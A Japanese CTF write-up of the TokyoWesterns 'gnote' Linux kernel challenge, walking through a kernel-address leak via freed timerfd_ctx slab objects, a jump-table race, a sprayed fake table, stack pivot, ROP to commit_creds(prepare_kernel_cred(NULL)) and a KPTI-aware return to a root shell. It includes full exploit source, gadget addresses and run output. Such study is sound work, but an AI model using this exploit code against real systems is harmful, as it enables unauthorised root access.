あるデータを参照(readなど)する側でクリティカルセクションを設け、操作(freeなど)する側では操作の前に同期のための待機を行うというものである
では何を待機するかというと
the trick is that RCU Classic read-side critical sections delimited by rcu_read_lock() and rcu_read_unlock() are not permitted to block or sleep. Therefore, when a given CPU executes a context switch, we are guaranteed that any prior RCU read-side critical sections will have completed. This means that as soon as each CPU has executed at least one context switch, all prior RCU read-side critical sections are guaranteed to have completed, meaning that synchronize_rcu() can safely return.
ということである
クリティカルセクションではコンテクストスイッチが禁止されるため、同期時に操作側がスイッチをし、一周回って自分の番になったらばそれがCPUの全てのプロセスにおけるクリティカルセクションを終えたことを意味する
実際には割り込みなどもあり得るためここまで単純ではないが、理想的な場合の実装は以上のようになる
ということは実際にkfreeが完了するためにはコンテキストスイッチを一周させる必要がある
そのため、今回はsleep(some)することで待つこととする
さて、実際にtimerfd_ctxを利用してカーネルシンボルをリークできるか試してみる
テストプログラム test2
#include<unistd.h> #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include <fcntl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/timerfd.h> #include<fcntl.h> #include<stdio.h> int main(void){ int fd = open("/proc/gnote",O_RDWR); struct itimerspec timespec = { {0, 0}, {100, 0}}; int tfd = timerfd_create(CLOCK_REALTIME, 0); unsigned add[2] = {0x1,0x100}; unsigned select[2] = {0x5,0x0}; char buf[256] = "AAAAAAAA"; long long a; int b; timerfd_settime(tfd, 0, ×pec, 0); close(tfd); //triger kfree_rcu() sleep(1); write(fd,add,sizeof(add)); sleep(1); write(fd,select,sizeof(select)); sleep(1); b = read(fd,buf,100); printf("read bytes: %d\n",b); if(b<=0){ printf("read failed\n"); return 1; } printf("hex: \n"); for(long long *ptr=buf;*ptr!=100/8;++ptr){ a = *ptr; printf("0x%llx\n",a); } printf("\n"); return 0; }
test2の実行結果
/ # cd ./dbg /dbg # ./test2 read bytes: 100 hex: 0xd9479c22b3ccc8a4 0x0 0x0 0x1c7825f241 0x1c7825f241 0xffffffff812f06c0 <-- 注目 0xffff88800331ca80 0x0 0x0 0x0 0x0
出てきたアドレスが指すもの
gdb-peda$ x/i 0xffffffff812f06c0 0xffffffff812f06c0 <timerfd_tmrproc>: nop DWORD PTR [rax+rax*1+0x0]
というわけでこれでkernel symbol、ここではtimerfd_tmrproc()のアドレスをリークすることができた
例えKASLRが有効でも_textの先頭からのoffsetは不変であるため、予め静的解析によってこのシンボルのoffsetを調べておけば
timerfd_tmrproc()のアドレス - そのoffset によってkernel_baseを求めることができる
実際に調べてみる
/ # cat /proc/kallsyms | grep _text ffffffff81000000 T _text / # cat /proc/kallsyms | grep timerfd_tmrproc ffffffff8115a2f0 t timerfd_tmrproc
timerfd_tmrproc()のkernel内のoffsetは0x15a2f0であることがわかった
なお自前ビルド環境下においては以下のようになった
/ # cat /proc/kallsyms | grep _text ffffffffae200000 T _text / # cat /proc/kallsyms | grep timerfd_tmrproc ffffffffae4f06c0 t timerfd_tmrproc //diff=0x2F06C0
7: RIPを取る
さて、ここまででRIPを取るおおよその準備ができた
状況を整理する
gnote_write()のswitch文はジャンプテーブルを用いてジャンプする
その際に使われる[rbx]*8という値は、他スレッド中で[rbx]の値を変更するループを回すことで任意の値に設定することができる
SMEP有効であるからROPを組む必要があるのだが、そのためにはカーネルベースをリークする必要がある
そのために使用直後のkmalloc-256のスラブオブジェクトを確保してポインタをリークすることでカーネルのアドレスをリークできた
その続きを考えていく
ジャンプテーブルはモジュールの.bssセクションに置かれる
自作のfake-ジャンプテーブルはユーザランドのバッファに置く必要があるのだが
本問ではKASLRが一定であるため両者のオフセットは一定ではない
具体的に言うとKASLRではモジュールがロードされるアドレスの下4nibbleが一定であり、その次の3nibbleがrandomizeされる
この場合に目的のジャンプテーブルエントリを踏ませるため、"spray"という手法を用いる
これは言ってしまえば、ランダム化されることにより対象エントリが存在し得るアドレス全てに対してエントリを配置してしまうというものである
カーネルモジュールがロードされる最小アドレスは0xffffffffc0000000である
下4nibbleは不変であるため、0xffffffffc0000000~0xfffffffff0000000までで動き得る
よって0x1000~0x10001000までをmmap()でマッピングしその領域にジャンプエントリを置くことでKASLRの影響を無視することができるようになる
なおfakeのjmptableは0x1000~0x10001000までをマッピングするのだが
exploitプログラムのベースは通常で0x400b20でありfake jmptableのマッピングと重複してしまう
よってコンパイル時にリンカへのオプションとして
-Wl,--section-start=.note.gnu.build-id=0x40200200
を渡してロードアドレスを変えてやる
実際にこのsprayがうまく働くか試してみる
今回は試しにジャンプテーブルのあらゆる部分に0xffffffffc00020d0==gnote_read()のアドレスを置いている
そのため、正常にfakeのjmptableが機能していれば
カーネルパニックが起こる代わりにgnote_read()が呼ばれるはずである
#include<unistd.h> #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<fcntl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/timerfd.h> #include<fcntl.h> #include<pthread.h> #define FAKE "0x8000200" void* thread_func(void* arg) { //just repeat xchg $rbx $rax(==0x55555555) printf("...repeating xchg $rbx $0x55555555\n"); asm volatile("mov $" FAKE ", %%eax\n" "mov %0, %%rbx\n" "lbl:\n" "xchg (%%rbx), %%eax\n" "jmp lbl\n" : : "r" (arg) : "rax", "rbx" ); return 0; } int main(void){ int fd = open("/proc/gnote",O_RDWR); struct itimerspec timespec = { {0, 0}, {100, 0}}; int tfd = timerfd_create(CLOCK_REALTIME, 0); unsigned add[2] = {0x1,0x100}; unsigned select[2] = {0x5,0x0}; unsigned mal_switch[2] = {0x0,0x10001}; char buf[256] = "AAAAAAAA"; long long a,kernel_base; int b; timerfd_settime(tfd, 0, ×pec, 0); close(tfd); //triger kfree_rcu() sleep(1); write(fd,add,sizeof(add)); sleep(1); write(fd,select,sizeof(select)); sleep(1); b = read(fd,buf,100); printf("read bytes: %d\n",b); if(b<=0){ printf("read failed\n"); return 1; } a = ((long long*)buf)[5]; kernel_base = a-0x2f06c0; printf("kernel _text base: 0x%llx\n",kernel_base); printf("\n"); ////////////////// #define MAP_SIZE 0x100000 unsigned long *table = mmap((void*)0x1000, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); sleep(1); printf("*******************************\n***************************\n"); printf("fake table: %p\n",table); printf("*******************************\n***************************\n"); for(int j=0;j!=MAP_SIZE/8;++j){ table[j] = 0xffffffffc00020d0; //gnote_read } printf("Into loop: push any key\n"); fgetc(stdin); ////////////////// pthread_t thr; pthread_create(&thr, 0, thread_func, &mal_switch[0]); for(int ix=0;ix!=100000;++ix){ if(ix%0x100==0) printf("try :%d\n",ix); write(fd, mal_switch, sizeof(mal_switch)); } return 0; }
不正なテーブルに飛ばす前にgnote_read()にブレイクポイントを貼って回したところ
93000回目ほどのループでブレイクがかかった
つまり、仕掛けたfake jmptableの示す先にジャンプさせることに成功した
すなわち、RIPを取れたことになる
8: privilege acceleration
ここまででカーネルのベースアドレスがわかっており、しかも任意のアドレスにジャンプすることが可能になっている
root権限でシェルを開いてflagを読めるように、権限昇格: privilege accelerationをする必要がある
参考の【12/13】番目によると
commit_creds(prepare_kernel_cred(NULL));
をするとuid=0にすることができるようである
prepare_kernel_cred(NULL);
これは現在のtaskを他の存在するtaskのcredentialのもとで動作させるための関数であるらしい
credentialsが何を指すか詳しくは以下のドキュメントを参照
この場合は、uid/gid等のことを指していると考えて差し支えない
引数として、新しい代替のcredentialをもつtask_struct structureをとり、新しいcredential(cred structure)を返す
だが引数としてNULLを渡すと以下のような分岐がある
if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred);
deamonは引数として取った*task_structである
つまりこれにNULLを渡した時、init_credというタスク(initプロセス)のcredentialを獲得することになる
init_credは以下のように定義されている
struct cred init_cred = { .usage = ATOMIC_INIT(4), #ifdef CONFIG_DEBUG_CREDENTIALS .subscribers = ATOMIC_INIT(2), .magic = CRED_MAGIC, #endif .uid = GLOBAL_ROOT_UID, .gid = GLOBAL_ROOT_GID, .suid = GLOBAL_ROOT_UID, .sgid = GLOBAL_ROOT_GID, .euid = GLOBAL_ROOT_UID, .egid = GLOBAL_ROOT_GID, .fsuid = GLOBAL_ROOT_UID, .fsgid = GLOBAL_ROOT_GID, .securebits = SECUREBITS_DEFAULT, .cap_inheritable = CAP_EMPTY_SET, .cap_permitted = CAP_FULL_SET, .cap_effective = CAP_FULL_SET, .cap_bset = CAP_FULL_SET, .user = INIT_USER, .user_ns = &init_user_ns, .group_info = &init_groups, };
すなわち、uid/gidがROOTのcredentialが返り値として返されることになる
commit_creds()
色々と処理はしているが、現在のtaskのcredentialを実際に書き換えるのは以下の部分
rcu_assign_pointer(task->real_cred, new); rcu_assign_pointer(task->cred, new);
関数の最後で古いcredentialsは破棄されている
結局、prepare_kernel_cred(NULL)によってinitプロセスのcredentialsを獲得し
それをcommit_creds()に渡して現行のタスクに割り当てることで
initプロセスと同等の権限を獲得できるようになるということだ
ROPを組んでroot権限を取る
さて、以上でcommit_creds(prepare_kernel_cred(NULL));をすることで
initプロセスと同じ権限即ちroot権限をプロセスに与えることができることがわかった
以下ではその方法を考えていく
まずこのkernelはSMEP有効であるためユーザランドにRIPを持ってくることはできない
(先程fake jmptableをユーザランドに置いたことからも自明なようにSMAPは無効である)
そこでkernel中のgadgetを用いてROPをすることになる
commit_creds(prepare_kernel_cred(NULL))をするのに必要なことを細分化すると以下のようになる
・rdiにNULLをpush
・prepare_kernel_cred()を呼ぶ
・返り値(initプロセスのcred_struct)をrdiに移す
・commit_creds()を呼ぶ
それぞれに対応する、rp++を用いて探したgadgetは以下の通り
***自前環境の場合***
・0xffffffff8107ddf0: pop rdi; ret;
・0xffffffff810b1680: prepare_kernel_cred()
・0xffffffff8102d3af: mov rdi, rax ; rep movsq ; pop rbp ; ret ; (mov rdi,rax;ret;だけのgadgetは見つからなかった)
・0xffffffff810b12a0: commit_creds()
だがROPをするにはこれらの値やpopする値を置いておくスタックが必要である
(勿論スタック自体はユーザランドに確保されているが、ここで必要なのはユーザランドの既知なアドレスに於いてあり好きに操作することができる空間である)
このスタックを確保するために、stack pivotという手法を用いる
まずjmptable経由で以下のgadgetにjmpする
0xffffffff81006e10: xchg eax, esp ; ret ;
jmptableを経由しているため、raxにはこのgadget自体のアドレスである0xffffffff81006e10が入っている
よってxchgの後にはespに0x81006e10が入ることになる
(32bit演算故に上位32bitは無視される)
すなわちこの近辺にスタック領域を確保しておけば、このエリアをスタックとして使用することが可能になる
なおrspではなくespを使用しているのは、0x81006e10がユーザ空間であり権限無しでmmapすることが可能だからである
上に述べたROPgadgetsはこのスタックに置いておくことになる
(なんかこの辺のテクニックはseccompをbypassするときの32bit空間へ移動する際のステージング?と似てる気が個人的にはした)
なお言わずもがなスタックは0x8byte alignされている必要があるため
使用するpivotのアドレスも0x8byte alignされているものを選ばなければならない
sysretqを利用してroot権限の状態でシェルを取る
ここまででroot権限を取ることはできた
今現在ユーザランドとカーネルランドのどちらにいるのかを考えてみる
exploitプログラムに於いて/proc/gnoteにwrite()するまでは勿論ユーザランドにいたのだが
その後の処理はgnoteモジュールが行うことになる
カーネルモジュールはカーネルランドで実行されるため、fake-jmptableに飛び諸々のROPを行った現在はカーネルランドにいるということになる
カーネルの中にシェルを開いてくれるonegadgetはないため
exploitプログラムの中で定義したシェルを開いてくれる関数しておく必要があり
権限昇格をした後にはユーザランドに戻ってこの関数を実行する必要がある
そこで用いるのがsysretq命令である
この辺の説明については参考の【14】番目の記事が詳しい
重要な点だけ引用する
syscall
のインストラクションをCPUが実行すると、大まかには以下のようなことが行われます。
上はsyscall命令の処理であり、sysretq命令では逆の処理が行われる
即ちRIPにRCXの値を、EFLAGSにR11の値を代入する処理が行われる
よってこの命令を行う前にRCX/R11の値を任意のものにしておけばsysretqを呼ぶことでRIPを任意のところに設定しつつユーザ空間に勝手に戻ってくれる
使用するgadgetは以下のとおりである
***自前環境の場合***
・0xffffffff81068534: sysretq
・0xffffffff815324e5: pop r11 ; ret ;
・0xffffffff81056ca3: pop rcx ; ret ;
9: KPTIに関してとsysretq周りのごたごたについて
sysretqでユーザ空間に戻ろうとしたところ
RIPをシェルを呼び出す関数まで持っていくことはできたし
レジスタの値もおおよそ正しそうであったのに
シェルを呼ぶ関数の1個めの命令を実行したところでセグフォが起きた
(ちなみにgdbでアタッチした状態だとセグフォじゃなくページフォルトが起き、ページフォルトの処理でもフォルトしてkernelが落ちた)
ということで参考の【13】番目のるくすさんの記事を参考にして
sysretqではなくiretqで返ることを試みた
だがこれも結局変わらずセグフォになってしまった
いろいろ調べてみた結果
参考【13】番のるくすさんの記事は2017年に書かれたものである
だがMeltdownの発見に伴うKPTI(Kernel Page Table Isolation)が実装されたカーネル ver4.15が2018年1月にリリースされた
それに伴い、ユーザ空間とカーネル空間で参照するページディレクトリが異なるようになった
具体的にはユーザ空間から見るとカーネル空間はマッピングされておらず
カーネル空間から見るとユーザ空間はマッピングこそされているものの、non-executableとしてマッピングされている
そのため記事のとおりにCS/SSを退避させた値に復元してユーザ空間の関数に戻っても、参照するページディレクトリが異なるためセグフォが起きてしまう
(kernelのページディレクトリから見ているためnon-executableを実行することになる)
(追記20200927: PTIについて)
従来、ユーザプロセス空間には48bit空間より上にカーネル空間がそのままマッピングされていた(48bit目がそのまま上位のビット全てにコピーされるから、ここでいう48bit空間とは0x7FFFFFFFFFFより上の空間のこと)。カーネル空間にPCが移った場合、カーネル空間用のページテーブルに切り替えることはなく、ユーザプロセスが使用していたCR3の値をそのまま使用していた。これは、CR3を切り替えることでTLBのそれまでのキャッシュが使えなくなることを避けるためである。しかしSpectreやMeltdownの発見により、前述したようにページディレクトリは2つに分けられることになった。ユーザ空間のテーブルにはカーネル空間はマッピングされておらず、カーネル空間のテーブルには両方がマッピングされている。
これを実際に確かめてみると以下のようになる。
CR3の下3nibble以降を見てみると、カーネル空間に入った直後とカーネル空間に入って諸々の処理をした後で値が1変化していることが分かる。
(尚、カーネルの起動オプションに pti=on をつけないとPTIは有効にならなかった)
【追記終わり】
そこでswapgs/iretq(sysretq)をする前にor CR3, 0x1000をする必要がある
(CR3レジスタにはページディレクトリのアドレスが入っている。詳しくはwikipedia参照)
この処理を行ってくれるのが以下のswapgs_restore_regs_and_return_to_usermodeマクロである
GLOBAL(swapgs_restore_regs_and_return_to_usermode) #ifdef CONFIG_DEBUG_ENTRY /* Assert that pt_regs indicates user mode. */ testb $3, CS(%rsp) jnz 1f ud2 1: #endif POP_REGS pop_rdi=0 /* * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS. * Save old stack pointer and switch to trampoline stack. */ movq %rsp, %rdi movq PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp /* Copy the IRET frame to the trampoline stack. */ pushq 6*8(%rdi) /* SS */ pushq 5*8(%rdi) /* RSP */ pushq 4*8(%rdi) /* EFLAGS */ pushq 3*8(%rdi) /* CS */ pushq 2*8(%rdi) /* RIP */ /* Push user RDI on the trampoline stack. */ pushq (%rdi) /* * We are on the trampoline stack. All regs except RDI are live. * We can do future final exit work right here. */ SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi /* Restore RDI. */ popq %rdi SWAPGS INTERRUPT_RETURN
(おそらく)このマクロから生成されるアセンブラが以下のものである
0xffffffff81c00116 <+246>: mov %cr3,%rdi 0xffffffff81c00119 <+249>: jmp 0xffffffff81c0014f <entry_SYSCALL_64+303> 0xffffffff81c0011b <+251>: mov %rdi,%rax 0xffffffff81c0011e <+254>: and $0x7ff,%rdi 0xffffffff81c00125 <+261>: bt %rdi,%gs:0x22856 0xffffffff81c0012f <+271>: jae 0xffffffff81c00140 <entry_SYSCALL_64+288> 0xffffffff81c00131 <+273>: btr %rdi,%gs:0x22856 ---Typeto continue, or q to quit--- 0xffffffff81c0013b <+283>: mov %rax,%rdi 0xffffffff81c0013e <+286>: jmp 0xffffffff81c00148 <entry_SYSCALL_64+296> 0xffffffff81c00140 <+288>: mov %rax,%rdi 0xffffffff81c00143 <+291>: bts $0x3f,%rdi 0xffffffff81c00148 <+296>: or $0x800,%rdi 0xffffffff81c0014f <+303>: or $0x1000,%rdi 0xffffffff81c00156 <+310>: mov %rdi,%cr3 0xffffffff81c00159 <+313>: pop %rax 0xffffffff81c0015a <+314>: pop %rdi 0xffffffff81c0015b <+315>: pop %rsp 0xffffffff81c0015c <+316>: swapgs 0xffffffff81c0015f <+319>: sysretq
途中のjmpも考慮すると、先頭からの実行は以下の流れになる
0xffffffff81c00116 <+246>: mov %cr3,%rdi 0xffffffff81c0014f <+303>: or $0x1000,%rdi 0xffffffff81c00156 <+310>: mov %rdi,%cr3 0xffffffff81c00159 <+313>: pop %rax 0xffffffff81c0015a <+314>: pop %rdi 0xffffffff81c0015b <+315>: pop %rsp 0xffffffff81c0015c <+316>: swapgs 0xffffffff81c0015f <+319>: sysretq
これによって参照するページディレクトリをユーザ空間のそれに変更することができ
セグフォすることなくちゃんとexecutableなページとして参照することができる
これでちゃんとページディレクトリをユーザランドのものに変更してユーザランドの関数を実行することができた
ちなみにちょっとした小話だが
この辺りの命令をobjdumpでみると次のようになった
4976861-ffffffff81c00143: 48 0f ba ef 3f bts $0x3f,%rdi 4976862-ffffffff81c00148: 48 81 cf 00 08 00 00 or $0x800,%rdi 4976863-ffffffff81c0014f: 48 81 cf 00 10 00 00 or $0x1000,%rdi 4976864-ffffffff81c00156: 0f 22 df mov %rdi,%cr3 4976865-ffffffff81c00159: 58 pop %rax 4976866-ffffffff81c0015a: 5f pop %rdi 4976867-ffffffff81c0015b: 5c pop %rsp 4976868-ffffffff81c0015c: ff 25 a6 9f 83 00 jmpq *0x839fa6(%rip) # ffffffff8243a108 <pv_cpu_ops+0xe8> 4976869-ffffffff81c00162: 0f 1f 40 00 nopl 0x0(%rax) 4976870-ffffffff81c00166: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 4976871-ffffffff81c0016d: 00 00 00 4976872- 4976873-ffffffff81c00170 <__switch_to_asm>: 4976874-ffffffff81c00170: 55 push %rbp
(最初の番号はgrepによるものである)
0xffffffff81c0015cにおける命令がgdbのそれと異なっている
0xffffffff81c0015c <entry_SYSCALL_64+316>: 0x0f 0x01 0xf8 0x48 0x0f 0x07 0x0f 0x1f
やはり命令の解釈とか以前に、バイトコード自体が異なっている
おそらく文脈的にgdbのほうが正しいのだが・・・
10: exploitの手順まとめ
さて、ここまででexploitの手順は全て揃った
些か長い説明になった上に
あいだあいだにソースの説明などが入ったため冗長になってしまった
今一度exploitの手順をおさらいしておく
まずgnote_read()の脆弱性を利用して初期化されていない領域を読み込んだ
即ち、timerfd_ctx構造体として確保されていたkmalloc-256スラブからオブジェクトを再び確保することで、この構造体が含んでいた関数ポインタをleakしkernelのベースアドレスをleakした
次にgnote_write()のswitchには脆弱性があった
僅か1命令の間に[rbx]の値が別スレッドにて書き換えられていれば不正な位置をjmp tableとして扱うことができるようになる
そこでKASLRのゆらぎも考慮して可能性のあるユーザ空間の領域全てにjmp tableのエントリをsprayしておいた
SMEP有効故にユーザ空間にシェルコードを置いておくことはできないから、エントリにはpivotのアドレスを使う
これでESPがユーザ空間を指すようにし、ROPの準備をする
ROPではcommit_creds(kernel_prepare_cred(NULL));をすることでinitプロセスの権限を取得する
その後はRCX/R11の値を調整し、or cr3,0x1000; swapgs; sysretq; によってユーザ空間に戻る
最後にその状態でシェルを開けば終了である
なおfake jmptableとしてマッピングするアドレスは当初0x1000からを考えていたが
この部分をmmap()するとpermission deniedになるので
0x10000からの領域をmmap()することにした
(書き換える[RBX]の値を0x8000200にすることで簡単に対応できる)
11: exploit
自前環境でのオフセットを採用している
自前環境と配布環境ではそれ以外の差異はないため、オフセットさえ変更すれば配布環境にも使える
そんなに面倒なことではないが、力尽きたのとやる意味もないので省略する
なお以下のexploitは参考の【1】番目に殆どを依っているので悪しからず
//exploit1.c // //Makefile //gcc ./exploit1.c -o exploit1 -static -pthread -Wl,--section-start=.note.gnu.build-id=0x40200200 #include<unistd.h> #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<fcntl.h> #include<errno.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/timerfd.h> #include<fcntl.h> #include<pthread.h> #define FAKE "0x8000200" unsigned long long user_cs,user_ss,user_rflags; void* thread_func(void* arg) { //just repeat xchg $rbx $rax(==0xFAKE) printf("...repeating xchg $rbx, \n"); asm volatile("mov $" FAKE ", %%eax\n" "mov %0, %%rbx\n" "lbl:\n" "xchg (%%rbx), %%eax\n" "jmp lbl\n" : : "r" (arg) : "rax", "rbx" ); return 0; } void get_shell(void) { char *v[] = {"/bin/sh",0}; execve(v[0],v,0); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); } int main(void){ int fd = open("/proc/gnote",O_RDWR); struct itimerspec timespec = { {0, 0}, {100, 0}}; int tfd = timerfd_create(CLOCK_REALTIME, 0); unsigned add[2] = {0x1,0x100}; unsigned select[2] = {0x5,0x0}; unsigned mal_switch[2] = {0x0,0x10001}; char buf[256] = "AAAAAAAA"; unsigned long long a,kernel_base; int b; unsigned long long stack; unsigned long long f = 0xffffffff81000000; //kernel base when nokaslr unsigned long long pop_rdi = 0xffffffff8107ddf0-f;// pop rdi; ret; unsigned long long prepare = 0xffffffff810b1680-f;// prepare_kernel_cred() unsigned long long mov_rdi_rax = 0xffffffff8102d3af-f; //mov rdi, rax ; rep movsq ; pop rbp ; ret ; unsigned long long commit = 0xffffffff810b12a0-f; //commit_creds() unsigned long long pivot = 0xffffffff81006e10-f; //xchg eax, esp ; ret ; //unsigned long long sysretq = 0xffffffff81068534-f; //sysretq unsigned long long sysretq = 0xffffffff81c00116-f; //mov %r3,%rdi;or $0x1000,%rdi; pop rax; pop rdi; pop rsp; swapgs; sysretq; unsigned long long pop_r11 = 0xffffffff815324e5-f; //pop r11 ; ret ; unsigned long long pop_rcx = 0xffffffff81056ca3-f; // pop rcx ; ret ; //unsigned long long iretq = 0xffffffff8103552b-f; //iretq //unsigned long long swapgs = 0xffffffff810679b4-f;// swapgs ; pop rbp ; ret unsigned long long* rop; /************************* leak kernel base ************************/ timerfd_settime(tfd, 0, ×pec, 0); close(tfd); //triger kfree_rcu() sleep(1); write(fd,add,sizeof(add)); sleep(1); write(fd,select,sizeof(select)); sleep(1); b = read(fd,buf,100); printf("read bytes: %d\n",b); if(b<=0){ printf("read failed\n"); return 1; } a = ((long long*)buf)[5]; kernel_base = a-0x2f06c0; printf("kernel _text base: 0x%llx\n",kernel_base); printf("\n"); /********************** map fake jmptable pointing to pivot **********************/ #define MAP_SIZE 0x400000 unsigned long long *table = mmap((void*)0x10000, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); if(table == -1){ printf("fail: mapping jmp table: errno=%d\n",errno); exit(0); } sleep(1); printf("*******************************\n***************************\n"); printf("fake table: %p ~ %p\n pointing to %p\n",table,table+MAP_SIZE,pivot+kernel_base); printf("*******************************\n***************************\n"); printf("writing jmp entries into jmptable\n"); for(int j=0;j!=MAP_SIZE/8;++j){ if(j%0x1000==0) printf(" ~%p\n",0x10000+j*8); table[j] = pivot + kernel_base; } /********************* map fake stack **********************/ stack = ((pivot + kernel_base)&0xffffffff); printf("stack @ %p ~ %p\n",(stack-0x10000)&~0xfff,((stack-0x10000)&~0xfff)+0x20000); mmap((stack-0x10000)&~0xfff,0x20000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0); printf("get_shell @ %p\n",&get_shell); printf("*******************\n\n"); /******************** save state ********************/ save_state(); /****************** place ROP gad ******************/ rop = stack; *rop++ = pop_rdi + kernel_base; *rop++ = 0; *rop++ = prepare + kernel_base; *rop++ = mov_rdi_rax + kernel_base; *rop++ = 0; //because of mov_rdi_rax gadget containing "pop rbp" *rop++ = commit + kernel_base; //accelerate privilege *rop++ = pop_rcx + kernel_base; *rop++ = &get_shell; *rop++ = pop_r11 + kernel_base; *rop++ = 0x202; *rop++ = sysretq + kernel_base; *rop++ = 0x0; *rop++ = 0x0; *rop++ = stack; /******************** dive into loop and jmp to fake jmptable *********************/ printf("Into loop: push any key\n"); fgetc(stdin); pthread_t thr; pthread_create(&thr, 0, thread_func, &mal_switch[0]); for(int ix=0;ix!=100000;++ix){ if(ix%0x1000==0) printf("try :0x%x\n",ix); write(fd, mal_switch, sizeof(mal_switch)); } return 0; }
12: 結果
14375 ブロック ________ ________ ________ _________ _______ |\ ____\|\ ___ \|\ __ \|\___ ___\ ___ \ \ \ \___|\ \ \ \ \ \ \|\ \|___ \ \_\ \ __/| \ \ \ __\ \ \ \ \ \ \\ \ \ \ \ \ \ \_|/__ \ \ \|\ \ \ \ \ \ \ \\ \ \ \ \ \ \ \_|\ \ \ \_______\ \__\ \__\ \_______\ \ \__\ \ \_______\ \|_______|\|__| \|__|\|_______| \|__| \|_______| / $ whoami whoami: unknown uid 1000 / $ cat /flag cat: can't open '/flag': Permission denied / $ ./dbg/exploit1 read bytes: 100 kernel _text base: 0xffffffffaf400000 ******************************* *************************** fake table: 0x10000 ~ 0x2010000 pointing to 0xffffffffaf406e10 ******************************* *************************** writing jmp entries into jmptable ~0x10000 ~0x18000 ~0x20000 ~0x28000 ~0x30000 ~0x38000 ~0x40000 ~0x48000 ~0x50000 ~0x58000 ~0x60000 ~0x68000 ~0x70000 ~0x78000 ~0x80000 ~0x88000 ~0x90000 ~0x98000 ~0xa0000 ~0xa8000 ~0xb0000 ~0xb8000 ~0xc0000 ~0xc8000 ~0xd0000 ~0xd8000 ~0xe0000 ~0xe8000 ~0xf0000 ~0xf8000 ~0x100000 ~0x108000 ~0x110000 ~0x118000 ~0x120000 ~0x128000 ~0x130000 ~0x138000 ~0x140000 ~0x148000 ~0x150000 ~0x158000 ~0x160000 ~0x168000 ~0x170000 ~0x178000 ~0x180000 ~0x188000 ~0x190000 ~0x198000 ~0x1a0000 ~0x1a8000 ~0x1b0000 ~0x1b8000 ~0x1c0000 ~0x1c8000 ~0x1d0000 ~0x1d8000 ~0x1e0000 ~0x1e8000 ~0x1f0000 ~0x1f8000 ~0x200000 ~0x208000 ~0x210000 ~0x218000 ~0x220000 ~0x228000 ~0x230000 ~0x238000 ~0x240000 ~0x248000 ~0x250000 ~0x258000 ~0x260000 ~0x268000 ~0x270000 ~0x278000 ~0x280000 ~0x288000 ~0x290000 ~0x298000 ~0x2a0000 ~0x2a8000 ~0x2b0000 ~0x2b8000 ~0x2c0000 ~0x2c8000 ~0x2d0000 ~0x2d8000 ~0x2e0000 ~0x2e8000 ~0x2f0000 ~0x2f8000 ~0x300000 ~0x308000 ~0x310000 ~0x318000 ~0x320000 ~0x328000 ~0x330000 ~0x338000 ~0x340000 ~0x348000 ~0x350000 ~0x358000 ~0x360000 ~0x368000 ~0x370000 ~0x378000 ~0x380000 ~0x388000 ~0x390000 ~0x398000 ~0x3a0000 ~0x3a8000 ~0x3b0000 ~0x3b8000 ~0x3c0000 ~0x3c8000 ~0x3d0000 ~0x3d8000 ~0x3e0000 ~0x3e8000 ~0x3f0000 ~0x3f8000 ~0x400000 ~0x408000 stack @ 0xaf3f6000 ~ 0xaf416000 get_shell @ 0x40200c72 ******************* Into loop: push any key try :0x0 ...repeating xchg $rbx, try :0x1000 try :0x2000 try :0x3000 try :0x4000 try :0x5000 try :0x6000 try :0x7000 try :0x8000 try :0x9000 try :0xa000 try :0xb000 try :0xc000 try :0xd000 / # whoami root / # cat /flag TWCTF{flag} / #
ちゃんとroot権限でflagが読めた!!!!!
味気ないflag!!
13: アウトロ
慣れないkernel exploitationでありかなり時間がかかってしまった
だが今回やったことの中には
GOT overwrite/ UAF/ unsortedbin attackみたいな典型的な知識もきっと含まれているのだろう
(特に権限昇格の部分は常套手段らしい。参考の【13】参照)
今後もkernel問を解いていって、どれがよく使う知識なのかを見極めていきたい
さて、今回は人生で初めてkernel exploitationをしたことになる
(ほぼ丸パクリだが、実際にkernelを読んでexploitの意味や関係する分野の周辺知識を理解しようとした点で自分にとっては全くの無益ではないように思う。勿論見る側は参考元を見ればいいだけの話だが)
往々にして初めてというものは、あとから思い返すともの凄く恥ずかしい出来になる
自分がpwnを始めた3月頃の記事を見返しても、こいつ何言っているんだと言いたくなるような恥ずかしい内容になっているものも多い
きっとこの記事も、今後自分がレベルを上げたときに見返すと恥ずかしい出来のものであろう
だが誰もが最初はnewbieだ
newbieだからとうじうじ何もせずとどまっているよりも
恥を承知で人に聞いて、自分で調べて、行動したほうが何倍も面白い
見返して恥ずかしい内容だったならば、腕を上げたと自信を持てばいいじゃねえか
14: Thanks
なおこの記事はTSGの分科会#sig-source-reading-hardの一環とした書かれたものである
協力
toka, JP3BGY
Special Thanks for the chance of study through the exciting CTF problem
TokyoWesterns
0: 参考
【1: 全面的に参考にしたgnoteのwriteup記事】
【2-1: 環境構築に参考にした記事】
【2-2: 環境構築に参考にした記事】
【3: slubアロケータについての概念から実際の仕組みまでの詳細な解説記事】
【5: slubアロケータについての補助的な理解】
【6: slubアロケータについてのIBMの記事】
【7: slubアロケータについての詳細なドキュメント(若干古いか?)】
【8: 2の筆者様によるslubアロケータの明快なスライド】
【9: RCUについて】
【10: LKMについて】
【12: ret2usrによる権限昇格について】
【13: ユーザ空間への戻り方について】
【14: sysretqについて】
-1: Appendix
自前OS環境の整備
随時自分でkernel debugができるようシンボル情報付きのvmlinuxを入手するために自前のOS環境を用意する必要がある
これに結構手間取ってしまった
まずkernelのバージョンは4.19.65 SMP mod_unloadでありマイナー番号まで辿れるようにlinux-stableのgitレポジトリをcloneしてきた
